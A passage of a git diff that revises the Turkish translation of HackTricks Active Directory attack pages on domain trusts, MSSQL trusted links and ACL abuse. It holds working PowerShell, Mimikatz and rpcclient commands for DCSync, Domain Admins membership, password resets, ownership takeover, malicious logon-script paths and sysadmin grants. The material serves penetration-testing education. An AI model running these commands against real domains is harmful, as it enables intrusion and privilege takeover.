yönlü** güven ilişkisi durumunda bir alan **güvenilir** ve diğeri **güvenen** alan olacaktır. Son durumda, **güvenilir alandan güvenen alana** yalnızca güvenen alan içindeki kaynaklara erişim sağlayabilirsiniz. -Eğer Alan A, Alan B'ye güveniyorsa, A güvenen alan ve B güvenilen alandır. Ayrıca, **Alan A**'da bu bir **Çıkış güveni**; **Alan B**'de ise bu bir **Giriş güveni** olacaktır. +Eğer Alan A, Alan B'ye güveniyorsa, A güvenen alan ve B güvenilir alandır. Ayrıca, **Alan A**'da bu bir **Çıkış güveni**; ve **Alan B**'de bu bir **Giriş güveni** olacaktır. **Farklı güvenen ilişkileri** @@ -535,21 +535,21 @@ Eğer Alan A, Alan B'ye güveniyorsa, A güvenen alan ve B güvenilen alandır. #### **Güvenen ilişkilerdeki diğer farklılıklar** -- Bir güven ilişkisi **geçişli** (A güveniyor B, B güveniyor C, o zaman A güveniyor C) veya **geçişli olmayan** olabilir. +- Bir güven ilişkisi **geçişli** (A güveniyor B'ye, B güveniyor C'ye, o zaman A güveniyor C'ye) veya **geçişli olmayan** olabilir. - Bir güven ilişkisi **iki yönlü güven** (her ikisi de birbirine güvenir) veya **bir yönlü güven** (sadece biri diğerine güvenir) olarak kurulabilir. ### Saldırı Yolu 1. **Güvenen ilişkileri** listeleyin -2. Herhangi bir **güvenlik ilkesi** (kullanıcı/grup/bilgisayar) **diğer alanın** kaynaklarına **erişime** sahip olup olmadığını kontrol edin, belki ACE girişleri veya diğer alanın gruplarında yer alarak. **Alanlar arası ilişkileri** arayın (güven bu nedenle oluşturulmuş olabilir). +2. Herhangi bir **güvenlik ilkesi** (kullanıcı/grup/bilgisayar) **diğer alanın** kaynaklarına **erişime** sahip olup olmadığını kontrol edin; belki ACE girişleri veya diğer alanın gruplarında yer alarak. **Alanlar arası ilişkileri** arayın (güven bu nedenle oluşturulmuş olabilir). 1. Bu durumda kerberoast başka bir seçenek olabilir. -3. **Hesapları ele geçirin** ve **alanlar arasında geçiş yapın**. +3. **Hesapları tehlikeye atın** ve **alanlar arası geçiş** yapın. Saldırganlar, başka bir alandaki kaynaklara erişim sağlamak için üç ana mekanizma kullanabilir: -- **Yerel Grup Üyeliği**: İlkeler, makinelerdeki yerel gruplara eklenebilir; örneğin, bir sunucudaki "Yöneticiler" grubu, onlara o makine üzerinde önemli kontrol sağlar. +- **Yerel Grup Üyeliği**: İlkeler, makinelerdeki yerel gruplara eklenebilir; örneğin, bir sunucudaki “Yöneticiler” grubu, onlara o makine üzerinde önemli kontrol sağlar. - **Yabancı Alan Grup Üyeliği**: İlkeler, yabancı alandaki grupların üyeleri de olabilir. Ancak, bu yöntemin etkinliği güvenin doğasına ve grubun kapsamına bağlıdır. -- **Erişim Kontrol Listeleri (ACL'ler)**: İlkeler, belirli kaynaklara erişim sağlamak için bir **ACL**'de belirtilmiş olabilir; özellikle bir **DACL** içindeki **ACE'ler** olarak. ACL'ler, DACL'ler ve ACE'ler hakkında daha derinlemesine bilgi edinmek isteyenler için, “[An ACE Up The Sleeve](https://specterops.io/assets/resources/an_ace_up_the_sleeve.pdf)” başlıklı beyaz kağıt değerli bir kaynaktır. +- **Erişim Kontrol Listeleri (ACL'ler)**: İlkeler, belirli kaynaklara erişim sağlamak için bir **ACL**'de, özellikle bir **DACL** içindeki **ACE'ler** olarak belirtilmiş olabilir. ACL'ler, DACL'ler ve ACE'ler hakkında daha derinlemesine bilgi edinmek isteyenler için “[An ACE Up The Sleeve](https://specterops.io/assets/resources/an_ace_up_the_sleeve.pdf)” başlıklı beyaz kağıt değerli bir kaynaktır. ### Çocuktan Ana Orman Yetki Yükseltmesi ``` @@ -572,7 +572,7 @@ WhenChanged : 2/19/2021 1:28:00 PM > Invoke-Mimikatz -Command '"lsadump::dcsync /user:dcorp\mcorp$"' > ``` -#### SID-History Enjeksiyonu +#### SID-History Injection SID-History enjeksiyonunu kullanarak çocuk/ebeveyn alanına Enterprise admin olarak yükselme: @@ -580,31 +580,31 @@ SID-History enjeksiyonunu kullanarak çocuk/ebeveyn alanına Enterprise admin ol sid-history-injection.md {{#endref}} -#### Yazılabilir Konfigürasyon NC'yi Sömürme +#### Yazılabilir Configuration NC'yi istismar etme -Konfigürasyon İsimlendirme Bağlamı (NC) nasıl sömürülebileceğini anlamak çok önemlidir. Konfigürasyon NC, Active Directory (AD) ortamlarında bir orman genelinde konfigürasyon verileri için merkezi bir depo işlevi görür. Bu veriler, ormandaki her Alan Denetleyicisi (DC) ile çoğaltılır ve yazılabilir DC'ler, Konfigürasyon NC'nin yazılabilir bir kopyasını tutar. Bunu sömürmek için, bir DC üzerinde **SYSTEM ayrıcalıklarına** sahip olmak gerekir, tercihen bir çocuk DC. +Configuration Naming Context (NC) nasıl istismar edileceğini anlamak çok önemlidir. Configuration NC, Active Directory (AD) ortamlarında bir orman genelinde yapılandırma verileri için merkezi bir depo görevi görür. Bu veriler, ormandaki her Domain Controller (DC) ile çoğaltılır ve yazılabilir DC'ler, Configuration NC'nin yazılabilir bir kopyasını tutar. Bunu istismar etmek için, bir DC üzerinde **SYSTEM ayrıcalıklarına** sahip olmak gerekir, tercihen bir çocuk DC. **GPO'yu kök DC alanına bağlama** -Konfigürasyon NC'nin Siteler konteyneri, AD ormanındaki tüm alan bağlı bilgisayarların siteleri hakkında bilgi içerir. Herhangi bir DC üzerinde SYSTEM ayrıcalıkları ile çalışan saldırganlar, GPO'ları kök DC alanlarına bağlayabilir. Bu eylem, bu alanlara uygulanan politikaları manipüle ederek kök alanı tehlikeye atabilir. +Configuration NC'nin Sites konteyneri, AD ormanındaki tüm alan bağlı bilgisayarların alanları hakkında bilgi içerir. Herhangi bir DC üzerinde SYSTEM ayrıcalıkları ile çalışan saldırganlar, GPO'ları kök DC alanlarına bağlayabilir. Bu eylem, bu alanlara uygulanan politikaları manipüle ederek kök alanı tehlikeye atabilir. -Derinlemesine bilgi için, [SID Filtrelemesini Aşma](https://improsec.com/tech-blog/sid-filter-as-security-boundary-between-domains-part-4-bypass-sid-filtering-research) üzerine yapılan araştırmalara göz atılabilir. +Derinlemesine bilgi için, [SID Filtering'i Aşma](https://improsec.com/tech-blog/sid-filter-as-security-boundary-between-domains-part-4-bypass-sid-filtering-research) üzerine yapılan araştırmalara göz atılabilir. **Ormandaki herhangi bir gMSA'yı tehlikeye atma** -Bir saldırı vektörü, alan içindeki ayrıcalıklı gMSA'ları hedef almaktır. gMSA'ların şifrelerini hesaplamak için gerekli olan KDS Root anahtarı, Konfigürasyon NC içinde saklanır. Herhangi bir DC üzerinde SYSTEM ayrıcalıkları ile, KDS Root anahtarına erişmek ve ormandaki herhangi bir gMSA'nın şifrelerini hesaplamak mümkündür. +Bir saldırı vektörü, alan içindeki ayrıcalıklı gMSA'ları hedef almaktır. gMSA'ların şifrelerini hesaplamak için gerekli olan KDS Root anahtarı, Configuration NC içinde saklanır. Herhangi bir DC üzerinde SYSTEM ayrıcalıkları ile, KDS Root anahtarına erişmek ve ormandaki herhangi bir gMSA için şifreleri hesaplamak mümkündür. -Detaylı analiz, [Altın gMSA Güven Saldırıları](https://improsec.com/tech-blog/sid-filter-as-security-boundary-between-domains-part-5-golden-gmsa-trust-attack-from-child-to-parent) üzerine yapılan tartışmada bulunabilir. +Detaylı analiz, [Golden gMSA Trust Attacks](https://improsec.com/tech-blog/sid-filter-as-security-boundary-between-domains-part-5-golden-gmsa-trust-attack-from-child-to-parent) konusundaki tartışmada bulunabilir. **Şema değişikliği saldırısı** -Bu yöntem, yeni ayrıcalıklı AD nesnelerinin oluşturulmasını bekleyerek sabır gerektirir. SYSTEM ayrıcalıkları ile, bir saldırgan AD Şemasını değiştirerek herhangi bir kullanıcıya tüm sınıflar üzerinde tam kontrol verebilir. Bu, yetkisiz erişim ve yeni oluşturulan AD nesneleri üzerinde kontrol sağlama ile sonuçlanabilir. +Bu yöntem, yeni ayrıcalıklı AD nesnelerinin oluşturulmasını beklemeyi gerektirir. SYSTEM ayrıcalıkları ile, bir saldırgan AD Şemasını değiştirerek herhangi bir kullanıcıya tüm sınıflar üzerinde tam kontrol verebilir. Bu, yetkisiz erişim ve yeni oluşturulan AD nesneleri üzerinde kontrol sağlama ile sonuçlanabilir. -Daha fazla okuma için [Şema Değişikliği Güven Saldırıları](https://improsec.com/tech-blog/sid-filter-as-security-boundary-between-domains-part-6-schema-change-trust-attack-from-child-to-parent) üzerine bakılabilir. +Daha fazla okuma için [Schema Change Trust Attacks](https://improsec.com/tech-blog/sid-filter-as-security-boundary-between-domains-part-6-schema-change-trust-attack-from-child-to-parent) üzerine bakılabilir. **DA'dan EA'ya ADCS ESC5 ile** -ADCS ESC5 açığı, ormandaki herhangi bir kullanıcı olarak kimlik doğrulama sağlayan bir sertifika şablonu oluşturmak için Kamu Anahtar Altyapısı (PKI) nesneleri üzerindeki kontrolü hedef alır. PKI nesneleri Konfigürasyon NC içinde bulunduğundan, yazılabilir bir çocuk DC'nin tehlikeye atılması ESC5 saldırılarının gerçekleştirilmesini sağlar. +ADCS ESC5 açığı, ormandaki herhangi bir kullanıcı olarak kimlik doğrulama sağlayan bir sertifika şablonu oluşturmak için Kamu Anahtar Altyapısı (PKI) nesneleri üzerindeki kontrolü hedef alır. PKI nesneleri Configuration NC içinde bulunduğundan, yazılabilir bir çocuk DC'yi tehlikeye atmak, ESC5 saldırılarının gerçekleştirilmesini sağlar. Bununla ilgili daha fazla ayrıntı [DA'dan EA'ya ESC5 ile](https://posts.specterops.io/from-da-to-ea-with-esc5-f9f045aa105c) makalesinde okunabilir. ADCS olmayan senaryolarda, saldırgan gerekli bileşenleri kurma yeteneğine sahiptir; bu konu [Çocuk Alan Yöneticilerinden Kurumsal Yöneticilere Yükselme](https://www.pkisolutions.com/escalating-from-child-domains-admins-to-enterprise-admins-in-5-minutes-by-abusing-ad-cs-a-follow-up/) makalesinde tartışılmıştır. @@ -637,17 +637,17 @@ TrustDirection : Outbound --> Outbound trust WhenCreated : 2/19/2021 10:15:24 PM WhenChanged : 2/19/2021 10:15:24 PM ``` -Bu senaryoda **domain'iniz** **farklı domainlerden** bir **prensipe** bazı **ayrımcı haklar** vermektedir. +Bu senaryoda **domain'iniz** bazı **yetkileri** **farklı domainlerden** bir prensipe **güvenmektedir**. -Ancak, bir **domain güvenilir** olduğunda, güvenilir domain **tahmin edilebilir bir isimle** bir **kullanıcı oluşturur** ve bu kullanıcı **güvenilir şifreyi** **şifre** olarak kullanır. Bu, **güvenilir domain'e girmek için güvenen domain'den bir kullanıcıya erişmenin** mümkün olduğu anlamına gelir; bu kullanıcıyı listeleyebilir ve daha fazla yetki artırmaya çalışabilirsiniz: +Ancak, bir **domain güvenildiğinde**, güvenen domain, **tahmin edilebilir bir isimle** bir **kullanıcı oluşturur** ve bu kullanıcı **güvenilen şifreyi** **şifre** olarak kullanır. Bu, **güvenen domain'den bir kullanıcıya erişimin** mümkün olduğu ve bununla **güvenilen domain'e girmek** için daha fazla yetki elde etmeye çalışmanın mümkün olduğu anlamına gelir: {{#ref}} external-forest-domain-one-way-outbound.md {{#endref}} -Güvenilir domain'i tehlikeye atmanın bir başka yolu, **domain güveni** yönünde oluşturulmuş bir [**SQL güvenilir bağlantısı**](abusing-ad-mssql.md#mssql-trusted-links) bulmaktır (bu pek yaygın değildir). +Güvenilen domain'i tehlikeye atmanın bir başka yolu, **domain güveni** yönünde **oluşturulmuş bir [**SQL güvenilir bağlantısı**](abusing-ad-mssql.md#mssql-trusted-links)** bulmaktır (bu çok yaygın değildir). -Güvenilir domain'i tehlikeye atmanın bir başka yolu, **güvenilir domain'den bir kullanıcının erişebileceği** bir makinede beklemektir ve **RDP** üzerinden giriş yapmaktır. Ardından, saldırgan RDP oturum sürecine kod enjekte edebilir ve buradan **kurbanın orijinal domainine erişebilir**.\ +Güvenilen domain'i tehlikeye atmanın bir başka yolu, **güvenilen domain'den bir kullanıcının erişebileceği** bir makinede beklemektir ve **RDP** üzerinden giriş yapmaktır. Ardından, saldırgan RDP oturum sürecine kod enjekte edebilir ve buradan **kurbanın orijinal domainine erişebilir**.\ Ayrıca, eğer **kurban sabit diskini bağladıysa**, RDP oturum sürecinden saldırgan **sabit diskin başlangıç klasörüne** **arka kapılar** depolayabilir. Bu teknik **RDPInception** olarak adlandırılır. {{#ref}} @@ -663,7 +663,7 @@ rdp-sessions-abuse.md ### **Seçici Kimlik Doğrulama:** -- Ormanlar arası güvenler için Seçici Kimlik Doğrulama kullanmak, iki ormandan gelen kullanıcıların otomatik olarak kimlik doğrulamasını sağlamaz. Bunun yerine, güvenen domain veya orman içindeki domainlere ve sunuculara erişim için açık izinler gereklidir. +- Ormanlar arası güvenler için Seçici Kimlik Doğrulama kullanmak, iki ormandan gelen kullanıcıların otomatik olarak kimlik doğrulamasını sağlamaz. Bunun yerine, güvenen domain veya ormandaki domainlere ve sunuculara erişim için açık izinler gereklidir. - Bu önlemlerin, yazılabilir Yapılandırma İsimlendirme Bağlamı (NC) istismarına veya güven hesaplarına yönelik saldırılara karşı koruma sağlamadığını belirtmek önemlidir. [**Domain güvenleri hakkında daha fazla bilgi için ired.team'e bakın.**](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/child-domain-da-to-ea-in-parent-domain) @@ -676,22 +676,22 @@ rdp-sessions-abuse.md [**Kimlik bilgilerini koruma hakkında daha fazla bilgi edinin.**](../stealing-credentials/credentials-protections.md)\\ -### **Kimlik Bilgisi Koruma için Savunma Önlemleri** +### **Kimlik Bilgilerini Koruma için Savunma Önlemleri** -- **Domain Yöneticileri Kısıtlamaları**: Domain Yöneticilerinin yalnızca Domain Denetleyicilerine giriş yapmalarına izin verilmesi önerilir; diğer ana bilgisayarlarda kullanılmamalıdır. -- **Hizmet Hesabı Ayrıcalıkları**: Hizmetler, güvenliği sağlamak için Domain Yöneticisi (DA) ayrıcalıkları ile çalıştırılmamalıdır. -- **Geçici Ayrıcalık Sınırlaması**: DA ayrıcalıkları gerektiren görevler için süreleri sınırlı olmalıdır. Bu, `Add-ADGroupMember -Identity ‘Domain Admins’ -Members newDA -MemberTimeToLive (New-TimeSpan -Minutes 20)` ile gerçekleştirilebilir. +- **Domain Yöneticileri Kısıtlamaları**: Domain Yöneticilerinin yalnızca Domain Denetleyicilerine giriş yapmalarına izin verilmesi önerilir, diğer hostlarda kullanılmamalıdır. +- **Hizmet Hesabı Yetkileri**: Hizmetler, güvenliği sağlamak için Domain Yöneticisi (DA) yetkileri ile çalıştırılmamalıdır. +- **Geçici Yetki Sınırlaması**: DA yetkileri gerektiren görevler için süreleri sınırlı olmalıdır. Bu, `Add-ADGroupMember -Identity ‘Domain Admins’ -Members newDA -MemberTimeToLive (New-TimeSpan -Minutes 20)` ile gerçekleştirilebilir. ### **Aldatma Tekniklerini Uygulama** -- Aldatmayı uygulamak, şifrelerin süresi dolmayan veya Delegasyon için Güvenilir olarak işaretlenmiş sahte kullanıcılar veya bilgisayarlar gibi tuzaklar kurmayı içerir. Detaylı bir yaklaşım, belirli haklara sahip kullanıcılar oluşturmayı veya bunları yüksek ayrıcalıklı gruplara eklemeyi içerir. +- Aldatma uygulamak, şifrelerin süresi dolmayan veya Delegasyon için Güvenilir olarak işaretlenmiş sahte kullanıcılar veya bilgisayarlar gibi tuzaklar kurmayı içerir. Detaylı bir yaklaşım, belirli haklara sahip kullanıcılar oluşturmayı veya bunları yüksek yetkili gruplara eklemeyi içerir. - Pratik bir örnek, `Create-DecoyUser -UserFirstName user -UserLastName manager-uncommon -Password Pass@123 | DeployUserDeception -UserFlag PasswordNeverExpires -GUID d07da11f-8a3d-42b6-b0aa-76c962be719a -Verbose` gibi araçlar kullanmaktır. - Aldatma tekniklerini dağıtma hakkında daha fazla bilgi [Deploy-Deception on GitHub](https://github.com/samratashok/Deploy-Deception) adresinde bulunabilir. ### **Aldatmayı Tanımlama** -- **Kullanıcı Nesneleri için**: Şüpheli göstergeler arasında alışılmadık ObjectSID, nadir oturum açma, oluşturma tarihleri ve düşük kötü şifre sayıları bulunur. -- **Genel Göstergeler**: Potansiyel sahte nesnelerin özelliklerini gerçek nesnelerin özellikleriyle karşılaştırmak, tutarsızlıkları ortaya çıkarabilir. [HoneypotBuster](https://github.com/JavelinNetworks/HoneypotBuster) gibi araçlar, bu tür aldatmaları tanımlamaya yardımcı olabilir. +- **Kullanıcı Nesneleri için**: Şüpheli göstergeler arasında alışılmadık ObjectSID, nadir oturum açma, oluşturulma tarihleri ve düşük kötü şifre sayıları bulunur. +- **Genel Göstergeler**: Potansiyel sahte nesnelerin özelliklerini gerçek nesnelerin özellikleriyle karşılaştırmak tutarsızlıkları ortaya çıkarabilir. [HoneypotBuster](https://github.com/JavelinNetworks/HoneypotBuster) gibi araçlar bu tür aldatmaları tanımlamada yardımcı olabilir. ### **Algılama Sistemlerini Aşma** diff --git a/src/windows-hardening/active-directory-methodology/abusing-ad-mssql.md b/src/windows-hardening/active-directory-methodology/abusing-ad-mssql.md index fc7590777..c0fd56648 100644 --- a/src/windows-hardening/active-directory-methodology/abusing-ad-mssql.md +++ b/src/windows-hardening/active-directory-methodology/abusing-ad-mssql.md @@ -90,7 +90,7 @@ mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth interactive --- ### Powershell -Bu durumda [PowerUpSQL](https://github.com/NetSPI/PowerUpSQL) powershell modülü çok faydalıdır. +Bu durumda powershell modülü [PowerUpSQL](https://github.com/NetSPI/PowerUpSQL) çok faydalıdır. ```powershell Import-Module .\PowerupSQL.psd1 ```` @@ -127,7 +127,7 @@ Get-SQLInstanceDomain | Get-SQLServerInfo -Verbose # Get DBs, test connections and get info in oneliner Get-SQLInstanceDomain | Get-SQLConnectionTest | ? { $_.Status -eq "Accessible" } | Get-SQLServerInfo ``` -## MSSQL Temel Suistimal +## MSSQL Temel İstismar ### Erişim Veritabanı ```powershell @@ -158,11 +158,11 @@ Invoke-SQLOSCmd -Instance "srv.sub.domain.local,1433" -Command "whoami" -RawResu ## MSSQL Güvenilir Bağlantılar -Eğer bir MSSQL örneği başka bir MSSQL örneği tarafından güvenilir (veritabanı bağlantısı) olarak kabul ediliyorsa. Kullanıcı güvenilir veritabanı üzerinde yetkilere sahipse, **güven ilişkisini kullanarak diğer örnekte de sorgular çalıştırabilecektir**. Bu güven ilişkileri zincirlenebilir ve bir noktada kullanıcı, komut çalıştırabileceği yanlış yapılandırılmış bir veritabanı bulabilir. +Eğer bir MSSQL örneği başka bir MSSQL örneği tarafından güvenilir (veritabanı bağlantısı) olarak kabul ediliyorsa. Eğer kullanıcının güvenilir veritabanı üzerinde yetkileri varsa, **güven ilişkisini kullanarak diğer örnekte de sorgular çalıştırabilecektir**. Bu güven ilişkileri zincirlenebilir ve bir noktada kullanıcı, komut çalıştırabileceği yanlış yapılandırılmış bir veritabanı bulabilir. **Veritabanları arasındaki bağlantılar, orman güvenleri arasında bile çalışır.** -### Powershell Kötüye Kullanımı +### Powershell Suistimali ```powershell #Look for MSSQL links of an accessible instance Get-SQLServerLink -Instance dcorp-mssql -Verbose #Check for DatabaseLinkd > 0 @@ -208,7 +208,7 @@ Metasploit'in yalnızca MSSQL'deki `openquery()` fonksiyonunu kötüye kullanmay **Linux**'tan **sqsh** ve **mssqlclient.py** ile bir MSSQL konsol kabuğu elde edebilirsiniz. -**Windows**'tan da bağlantıları bulabilir ve komutları manuel olarak çalıştırabilirsiniz, **MSSQL istemcisi gibi** [**HeidiSQL**](https://www.heidisql.com) kullanarak. +**Windows**'tan da bağlantıları bulabilir ve komutları manuel olarak bir **MSSQL istemcisi gibi** [**HeidiSQL**](https://www.heidisql.com) kullanarak çalıştırabilirsiniz. _Windows kimlik doğrulaması ile giriş yapın:_ @@ -256,6 +256,6 @@ EXECUTE('EXECUTE(''sp_addsrvrolemember ''''hacker'''' , ''''sysadmin'''' '') AT Birçok yazarın geliştirdiği bir strateji, bir SİSTEM hizmetini, saldırganın oluşturduğu sahte veya ortadaki adam hizmetine kimlik doğrulaması yapmaya zorlamaktır. Bu sahte hizmet, kimlik doğrulaması yapmaya çalışırken SİSTEM hizmetini taklit edebilir. -[SweetPotato](https://github.com/CCob/SweetPotato), Beacon'ın `execute-assembly` komutu aracılığıyla gerçekleştirilebilecek bu çeşitli tekniklerin bir derlemesini sunmaktadır. +[SweetPotato](https://github.com/CCob/SweetPotato), Beacon'ın `execute-assembly` komutu aracılığıyla yürütülebilen bu çeşitli tekniklerin bir derlemesini sunmaktadır. {{#include ../../banners/hacktricks-training.md}} diff --git a/src/windows-hardening/active-directory-methodology/acl-persistence-abuse/README.md b/src/windows-hardening/active-directory-methodology/acl-persistence-abuse/README.md index 5e26b80b7..4c610755c 100644 --- a/src/windows-hardening/active-directory-methodology/acl-persistence-abuse/README.md +++ b/src/windows-hardening/active-directory-methodology/acl-persistence-abuse/README.md @@ -23,7 +23,7 @@ Set-DomainObject -Identity -XOR @{UserAccountControl=4194304} Bu ayrıcalık, bir saldırganın `Domain Admins` gibi bir grupta `GenericAll` haklarına sahip olması durumunda grup üyeliklerini manipüle etmesine olanak tanır. Saldırgan, grubun ayırt edici adını `Get-NetGroup` ile belirledikten sonra: -- **Kendilerini Domain Admins Grubuna Eklemek**: Bu, doğrudan komutlar veya Active Directory veya PowerSploit gibi modüller kullanılarak yapılabilir. +- **Kendilerini Domain Admins Grubuna Ekleyebilir**: Bu, doğrudan komutlar aracılığıyla veya Active Directory veya PowerSploit gibi modüller kullanılarak yapılabilir. ```powershell net group "domain admins" spotless /add /domain Add-ADGroupMember -Identity "domain admins" -Members spotless @@ -31,7 +31,7 @@ Add-NetGroupUser -UserName spotless -GroupName "domain admins" -Domain "offense. ``` ## **GenericAll / GenericWrite / Write on Computer/User** -Bu ayrıcalıkları bir bilgisayar nesnesi veya bir kullanıcı hesabında bulundurmak şunları sağlar: +Bu ayrıcalıkları bir bilgisayar nesnesi veya bir kullanıcı hesabında tutmak şunları sağlar: - **Kerberos Resource-based Constrained Delegation**: Bir bilgisayar nesnesini ele geçirmeyi sağlar. - **Shadow Credentials**: Bu tekniği, gölge kimlik bilgilerini oluşturma ayrıcalıklarını kullanarak bir bilgisayar veya kullanıcı hesabını taklit etmek için kullanın. @@ -52,14 +52,14 @@ net user spotless /domain; Add-NetGroupUser -UserName spotless -GroupName "domai ``` ## **WriteProperty (Kendi Üyeliği)** -Benzer bir ayrıcalık olan bu, saldırganların grup özelliklerini değiştirerek kendilerini doğrudan gruplara eklemelerine olanak tanır, eğer bu gruplar üzerinde `WriteProperty` hakkına sahipseler. Bu ayrıcalığın onayı ve uygulanması şu şekilde gerçekleştirilir: +Benzer bir ayrıcalık olan bu, saldırganların grup özelliklerini değiştirerek kendilerini doğrudan gruplara eklemelerine olanak tanır; eğer bu gruplar üzerinde `WriteProperty` hakkına sahipseler. Bu ayrıcalığın onayı ve uygulanması şu şekilde gerçekleştirilir: ```powershell Get-ObjectAcl -ResolveGUIDs | ? {$_.objectdn -eq "CN=Domain Admins,CN=Users,DC=offense,DC=local" -and $_.IdentityReference -eq "OFFENSE\spotless"} net group "domain admins" spotless /add /domain ``` ## **ForceChangePassword** -`User-Force-Change-Password` için bir kullanıcıda `ExtendedRight` tutmak, mevcut şifreyi bilmeden şifre sıfırlamalarına olanak tanır. Bu hakkın doğrulanması ve istismarı PowerShell veya alternatif komut satırı araçları aracılığıyla yapılabilir ve etkileşimli oturumlar ile etkileşimsiz ortamlar için tek satırlık komutlar dahil olmak üzere bir kullanıcının şifresini sıfırlamak için çeşitli yöntemler sunar. Komutlar, basit PowerShell çağrılarından Linux'ta `rpcclient` kullanmaya kadar uzanarak saldırı vektörlerinin çok yönlülüğünü göstermektedir. +`User-Force-Change-Password` için bir kullanıcıda `ExtendedRight` tutmak, mevcut şifreyi bilmeden şifre sıfırlamalarına olanak tanır. Bu hakkın doğrulanması ve istismarı, PowerShell veya alternatif komut satırı araçları aracılığıyla yapılabilir ve etkileşimli oturumlar ile etkileşimsiz ortamlar için tek satırlık komutlar dahil olmak üzere bir kullanıcının şifresini sıfırlamak için çeşitli yöntemler sunar. Komutlar, basit PowerShell çağrılarından Linux'ta `rpcclient` kullanmaya kadar uzanarak saldırı vektörlerinin çok yönlülüğünü göstermektedir. ```powershell Get-ObjectAcl -SamAccountName delegate -ResolveGUIDs | ? {$_.IdentityReference -eq "OFFENSE\spotless"} Set-DomainUserPassword -Identity delegate -Verbose @@ -70,9 +70,9 @@ Set-DomainUserPassword -Identity delegate -AccountPassword (ConvertTo-SecureStri rpcclient -U KnownUsername 10.10.10.192 > setuserinfo2 UsernameChange 23 'ComplexP4ssw0rd!' ``` -## **Group Üzerinde WriteOwner** +## **Grup Üzerinde WriteOwner** -Eğer bir saldırgan `WriteOwner` haklarına sahip olduğunu keşfederse, grup sahipliğini kendisine değiştirebilir. Bu, söz konusu grup `Domain Admins` olduğunda özellikle etkilidir, çünkü sahipliği değiştirmek grup nitelikleri ve üyeliği üzerinde daha geniş bir kontrol sağlar. Süreç, `Get-ObjectAcl` aracılığıyla doğru nesneyi tanımlamayı ve ardından sahibi değiştirmek için SID veya ad kullanarak `Set-DomainObjectOwner` komutunu kullanmayı içerir. +Bir saldırgan `WriteOwner` haklarına sahip olduğunu bulursa, grubun sahipliğini kendisine değiştirebilir. Bu, söz konusu grubun `Domain Admins` olması durumunda özellikle etkilidir, çünkü sahipliği değiştirmek grup nitelikleri ve üyeliği üzerinde daha geniş bir kontrol sağlar. Süreç, `Get-ObjectAcl` aracılığıyla doğru nesneyi tanımlamayı ve ardından sahibi değiştirmek için `Set-DomainObjectOwner` kullanmayı içerir; bu, SID veya ad ile yapılabilir. ```powershell Get-ObjectAcl -ResolveGUIDs | ? {$_.objectdn -eq "CN=Domain Admins,CN=Users,DC=offense,DC=local" -and $_.IdentityReference -eq "OFFENSE\spotless"} Set-DomainObjectOwner -Identity S-1-5-21-2552734371-813931464-1050690807-512 -OwnerIdentity "spotless" -Verbose @@ -80,7 +80,7 @@ Set-DomainObjectOwner -Identity Herman -OwnerIdentity nico ``` ## **GenericWrite on User** -Bu izin, bir saldırganın kullanıcı özelliklerini değiştirmesine olanak tanır. Özellikle, `GenericWrite` erişimi ile saldırgan, bir kullanıcının oturum açma betiği yolunu, kullanıcı oturum açtığında kötü niyetli bir betiği çalıştıracak şekilde değiştirebilir. Bu, hedef kullanıcının `scriptpath` özelliğini saldırganın betiğine işaret edecek şekilde güncellemek için `Set-ADObject` komutunun kullanılmasıyla gerçekleştirilir. +Bu izin, bir saldırganın kullanıcı özelliklerini değiştirmesine olanak tanır. Özellikle, `GenericWrite` erişimi ile saldırgan, bir kullanıcının oturum açma betiği yolunu, kullanıcı oturum açtığında kötü niyetli bir betiği çalıştıracak şekilde değiştirebilir. Bu, hedef kullanıcının `scriptpath` özelliğini saldırganın betiğine işaret edecek şekilde güncellemek için `Set-ADObject` komutunu kullanarak gerçekleştirilir. ```powershell Set-ADObject -SamAccountName delegate -PropertyName scriptpath -PropertyValue "\\10.0.0.5\totallyLegitScript.ps1" ``` @@ -96,7 +96,7 @@ Remove-DomainGroupMember -Credential $creds -Identity "Group Name" -Members 'use ``` ## **WriteDACL + WriteOwner** -Bir AD nesnesine sahip olmak ve üzerinde `WriteDACL` ayrıcalıklarına sahip olmak, bir saldırgana nesne üzerinde `GenericAll` ayrıcalıkları verme imkanı tanır. Bu, ADSI manipülasyonu yoluyla gerçekleştirilir ve nesne üzerinde tam kontrol sağlanır ve grup üyeliklerini değiştirme yeteneği kazanılır. Ancak, bu ayrıcalıkları kullanarak istismar etmeye çalışırken Active Directory modülünün `Set-Acl` / `Get-Acl` cmdlet'leri ile sınırlamalar bulunmaktadır. +Bir AD nesnesine sahip olmak ve üzerinde `WriteDACL` ayrıcalıklarına sahip olmak, bir saldırgana nesne üzerinde `GenericAll` ayrıcalıkları verme imkanı tanır. Bu, ADSI manipülasyonu yoluyla gerçekleştirilir ve nesne üzerinde tam kontrol sağlanır ve grup üyeliklerini değiştirme yeteneği kazanılır. Ancak, bu ayrıcalıkları Active Directory modülünün `Set-Acl` / `Get-Acl` cmdlet'lerini kullanarak istismar etmeye çalışırken sınırlamalar vardır. ```powershell $ADSI = [ADSI]"LDAP://CN=test,CN=Users,DC=offense,DC=local" $IdentityReference = (New-Object System.Security.Principal.NTAccount("spotless")).Translate([System.Security.Principal.SecurityIdentifier]) @@ -118,7 +118,7 @@ Grup Politika Nesnelerini (GPO) yönetmek için devredilen erişim, önemli güv Yanlış yapılandırılmış GPO'ları tanımlamak için PowerSploit'in cmdlet'leri bir araya getirilebilir. Bu, belirli bir kullanıcının yönetme izinlerine sahip olduğu GPO'ların keşfedilmesini sağlar: `powershell Get-NetGPO | %{Get-ObjectAcl -ResolveGUIDs -Name $_.Name} | ? {$_.IdentityReference -eq "OFFENSE\spotless"}` -**Belirli Bir Politika Uygulanan Bilgisayarlar**: Belirli bir GPO'nun hangi bilgisayarlara uygulandığını çözmek mümkündür, bu da potansiyel etki kapsamını anlamaya yardımcı olur. `powershell Get-NetOU -GUID "{DDC640FF-634A-4442-BC2E-C05EED132F0C}" | % {Get-NetComputer -ADSpath $_}` +**Belirli Bir Politika Uygulanan Bilgisayarlar**: Belirli bir GPO'nun hangi bilgisayarlara uygulandığını çözmek mümkündür, bu da potansiyel etki alanını anlamaya yardımcı olur. `powershell Get-NetOU -GUID "{DDC640FF-634A-4442-BC2E-C05EED132F0C}" | % {Get-NetComputer -ADSpath $_}` **Belirli Bir Bilgisayara Uygulanan Politikalar**: Belirli bir bilgisayara hangi politikaların uygulandığını görmek için `Get-DomainGPO` gibi komutlar kullanılabilir. @@ -149,17 +149,17 @@ GPO güncellemeleri genellikle her 90 dakikada bir gerçekleşir. Bu süreci hı ### Arka Planda -Belirli 